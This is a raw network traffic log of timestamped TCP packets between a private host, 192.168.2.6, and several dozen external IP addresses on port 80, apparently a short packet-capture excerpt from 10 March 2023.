Mar 10, 2023 07:55:00.924467087 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:55:00.924634933 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:55:01.040044069 CET	80	49944	188.166.152.188	192.168.2.6
Mar 10, 2023 07:55:01.040163994 CET	49944	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:55:01.233274937 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:01.361762047 CET	80	49963	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:01.362020969 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:01.362518072 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:01.490962029 CET	80	49963	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:01.491774082 CET	80	49963	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:01.491854906 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:01.523484945 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:01.659966946 CET	80	49963	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:01.660120010 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:01.941694975 CET	80	49859	213.186.33.40	192.168.2.6
Mar 10, 2023 07:55:01.941893101 CET	49859	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:55:02.092494011 CET	49913	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:55:02.483122110 CET	49960	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:55:02.497262955 CET	49964	80	192.168.2.6	52.200.100.0
Mar 10, 2023 07:55:02.641496897 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.641778946 CET	49964	80	192.168.2.6	52.200.100.0
Mar 10, 2023 07:55:02.692596912 CET	49964	80	192.168.2.6	52.200.100.0
Mar 10, 2023 07:55:02.838179111 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.840316057 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.840357065 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.840389967 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.840423107 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.840447903 CET	80	49964	52.200.100.0	192.168.2.6
Mar 10, 2023 07:55:02.840595007 CET	49964	80	192.168.2.6	52.200.100.0
Mar 10, 2023 07:55:02.840595007 CET	49964	80	192.168.2.6	52.200.100.0
Mar 10, 2023 07:55:03.015552998 CET	80	49952	208.109.214.162	192.168.2.6
Mar 10, 2023 07:55:03.015717983 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:55:03.247226000 CET	80	49907	202.254.236.40	192.168.2.6
Mar 10, 2023 07:55:03.247458935 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:55:03.936351061 CET	49962	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:55:04.117383957 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:04.117624044 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:04.542819977 CET	49965	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:04.749953985 CET	80	49965	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:04.750153065 CET	49965	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:04.772499084 CET	49965	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:04.795802116 CET	49937	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:55:04.957925081 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:04.975322962 CET	80	49965	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:04.976353884 CET	80	49965	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:04.976866961 CET	49965	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:05.082851887 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.083239079 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.083406925 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.083834887 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.103357077 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.103559971 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.104206085 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.124141932 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.162980080 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163017035 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163036108 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163057089 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163078070 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163098097 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163096905 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.163125038 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.163160086 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.163216114 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.164155006 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.164180040 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.164200068 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.164288044 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.182962894 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.182996035 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183016062 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183037043 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183056116 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183075905 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183094978 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183115005 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183137894 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183161020 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183181047 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183201075 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183222055 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183243036 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183387995 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.183530092 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.183965921 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.183988094 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.184007883 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.184027910 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.184050083 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.184071064 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.184091091 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.184181929 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.204138994 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204185009 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204215050 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204241037 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204269886 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204299927 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204323053 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204344988 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.204493999 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.204576969 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.206775904 CET	49967	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:05.208746910 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.226829052 CET	80	49967	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:05.440301895 CET	49968	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:05.478090048 CET	80	49926	195.78.66.50	192.168.2.6
Mar 10, 2023 07:55:05.478323936 CET	49926	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:55:05.538544893 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538598061 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538630009 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538639069 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.538655043 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538707972 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538747072 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538779974 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.538799047 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538834095 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538863897 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.538891077 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.538891077 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.538928986 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.543632030 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.543939114 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.611536980 CET	80	49968	107.180.98.101	192.168.2.6
Mar 10, 2023 07:55:05.611812115 CET	49968	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:05.615573883 CET	49968	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:05.664323092 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664365053 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664383888 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664402008 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664422989 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664449930 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664474964 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664500952 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664535046 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664566040 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664592028 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664623022 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664649010 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664675951 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664675951 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.664701939 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.664745092 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.664762974 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.776185036 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.776230097 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.776269913 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.776300907 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.776530027 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.776597023 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.786761999 CET	80	49968	107.180.98.101	192.168.2.6
Mar 10, 2023 07:55:05.789654970 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789685965 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789711952 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789733887 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789756060 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789779902 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789803028 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789825916 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789850950 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789885998 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789911032 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789937019 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789959908 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.789983034 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790007114 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790060043 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790074110 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790086985 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790111065 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790153027 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790209055 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790236950 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790260077 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790283918 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790286064 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790307999 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790308952 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790333986 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790376902 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790414095 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790437937 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790462017 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790473938 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790486097 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790489912 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790510893 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790534019 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790570021 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790596962 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.790616989 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790636063 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.790971994 CET	80	49968	107.180.98.101	192.168.2.6
Mar 10, 2023 07:55:05.791053057 CET	49968	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:05.791512012 CET	49968	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:05.884084940 CET	49969	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:55:05.901710033 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.901779890 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.901830912 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.901871920 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.901907921 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.901942015 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.901966095 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.901973963 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.902008057 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.902040005 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.902059078 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.902092934 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.902112961 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.902127028 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.902148962 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.902167082 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.907068968 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:05.907299042 CET	49969	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:55:05.915127039 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915220976 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915294886 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915363073 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915431023 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915446997 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.915496111 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915514946 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.915556908 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.915558100 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915622950 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.915759087 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915832043 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915832996 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.915884972 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.915899038 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915966034 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.915971994 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916018009 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916033030 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.916084051 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916104078 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.916153908 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916171074 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.916224003 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916237116 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.916296959 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916306973 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.916394949 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.916400909 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:05.916451931 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:05.930368900 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:05.930454969 CET	49969	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:55:05.953484058 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:05.962443113 CET	80	49968	107.180.98.101	192.168.2.6
Mar 10, 2023 07:55:06.170217037 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:06.170249939 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:06.170273066 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:06.170293093 CET	80	49969	185.53.177.50	192.168.2.6
Mar 10, 2023 07:55:06.170331955 CET	49969	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:55:06.170402050 CET	49969	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:55:06.351800919 CET	49970	80	192.168.2.6	157.112.176.4
Mar 10, 2023 07:55:06.499018908 CET	49949	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:55:06.553700924 CET	80	49855	104.196.26.65	192.168.2.6
Mar 10, 2023 07:55:06.553814888 CET	49855	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:06.561561108 CET	49953	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:55:06.633222103 CET	80	49970	157.112.176.4	192.168.2.6
Mar 10, 2023 07:55:06.636455059 CET	49970	80	192.168.2.6	157.112.176.4
Mar 10, 2023 07:55:06.636986971 CET	49970	80	192.168.2.6	157.112.176.4
Mar 10, 2023 07:55:06.663100958 CET	80	49963	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:06.663510084 CET	49963	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:06.897579908 CET	80	49891	170.82.174.30	192.168.2.6
Mar 10, 2023 07:55:06.900512934 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:55:06.918256044 CET	80	49970	157.112.176.4	192.168.2.6
Mar 10, 2023 07:55:06.989316940 CET	80	49970	157.112.176.4	192.168.2.6
Mar 10, 2023 07:55:06.992548943 CET	49970	80	192.168.2.6	157.112.176.4
Mar 10, 2023 07:55:07.245040894 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.435599089 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.435846090 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.436412096 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.626888990 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.636883974 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.636949062 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637022972 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637070894 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637073040 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637113094 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637121916 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637125015 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637168884 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637170076 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637216091 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637217999 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637265921 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637267113 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637314081 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637316942 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637362003 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.637362957 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.637408018 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.827855110 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.827898026 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:07.827955008 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:07.827955961 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:08.344997883 CET	80	49951	103.3.1.161	192.168.2.6
Mar 10, 2023 07:55:08.345153093 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:55:08.413160086 CET	49972	80	192.168.2.6	157.112.182.239
Mar 10, 2023 07:55:08.608546019 CET	49960	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:55:08.696717024 CET	80	49972	157.112.182.239	192.168.2.6
Mar 10, 2023 07:55:08.696850061 CET	49972	80	192.168.2.6	157.112.182.239
Mar 10, 2023 07:55:08.697365046 CET	49972	80	192.168.2.6	157.112.182.239
Mar 10, 2023 07:55:08.902405977 CET	80	49966	104.218.10.254	192.168.2.6
Mar 10, 2023 07:55:08.902493954 CET	49966	80	192.168.2.6	104.218.10.254
Mar 10, 2023 07:55:08.980829954 CET	80	49972	157.112.182.239	192.168.2.6
Mar 10, 2023 07:55:08.982151985 CET	80	49972	157.112.182.239	192.168.2.6
Mar 10, 2023 07:55:08.982228994 CET	80	49972	157.112.182.239	192.168.2.6
Mar 10, 2023 07:55:08.982268095 CET	49972	80	192.168.2.6	157.112.182.239
Mar 10, 2023 07:55:08.982294083 CET	80	49972	157.112.182.239	192.168.2.6
Mar 10, 2023 07:55:08.982302904 CET	49972	80	192.168.2.6	157.112.182.239
Mar 10, 2023 07:55:08.982341051 CET	49972	80	192.168.2.6	157.112.182.239
Mar 10, 2023 07:55:09.981842041 CET	80	49965	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:09.981954098 CET	49965	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:09.999291897 CET	49962	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:55:10.617923975 CET	49974	80	192.168.2.6	143.204.9.84
Mar 10, 2023 07:55:10.638274908 CET	80	49974	143.204.9.84	192.168.2.6
Mar 10, 2023 07:55:10.638504982 CET	49974	80	192.168.2.6	143.204.9.84
Mar 10, 2023 07:55:10.639014006 CET	49974	80	192.168.2.6	143.204.9.84
Mar 10, 2023 07:55:10.658648014 CET	80	49974	143.204.9.84	192.168.2.6
Mar 10, 2023 07:55:10.658859015 CET	80	49974	143.204.9.84	192.168.2.6
Mar 10, 2023 07:55:10.658941031 CET	49974	80	192.168.2.6	143.204.9.84
Mar 10, 2023 07:55:10.680061102 CET	49974	80	192.168.2.6	143.204.9.84
Mar 10, 2023 07:55:10.699887991 CET	80	49974	143.204.9.84	192.168.2.6
Mar 10, 2023 07:55:10.700058937 CET	80	49974	143.204.9.84	192.168.2.6
Mar 10, 2023 07:55:10.700268030 CET	49974	80	192.168.2.6	143.204.9.84
Mar 10, 2023 07:55:10.771790028 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.791603088 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.792736053 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.793155909 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.813087940 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.866902113 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.867052078 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.867120028 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.867173910 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.875950098 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.894870043 CET	80	49975	62.75.216.137	192.168.2.6
